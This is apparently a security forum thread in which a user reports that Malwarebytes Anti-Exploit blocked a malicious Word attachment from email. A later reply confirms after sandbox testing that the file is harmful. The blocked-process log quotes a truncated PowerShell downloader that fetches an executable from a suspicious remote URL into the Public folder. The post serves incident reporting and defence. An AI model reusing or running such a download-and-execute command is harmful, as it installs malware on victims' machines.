sniderit

Yes, I ran pulled it onto a test computer with Sandboxie after I read your post and it looks like it is full of bad stuff. I've notified all users and advised them to contact their own network admins. Thanks for responding!

When trying to open a file in Word that I downloaded via email, I get a pop-up saying that Malwarebytes Anti-Exploit has blocked an exploit attempt. Application: cmd Protection Layer: Application Behavior Protection Protection Technique: Exploit payload process blocked File/Process Blocked: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $FPF=new-object Net.WebClient$uIo='http:\potuansdqwbe.com\YUY\huonasdh.php?l=dg3.tkn'.Split('@')$tWW = '39'$rsf=$env:public+'\'+$tWW+'.exe'foreach($srf in $uIo){try{$FPF.DownloadFile($sr Attacking URL: N/A I've attached the logs from the PC. I'm not sure if this is an actual threat or Anti-Exploit flagging things as false-positives. Any help would be appreciated. Malwarebytes Anti-Exploit.zip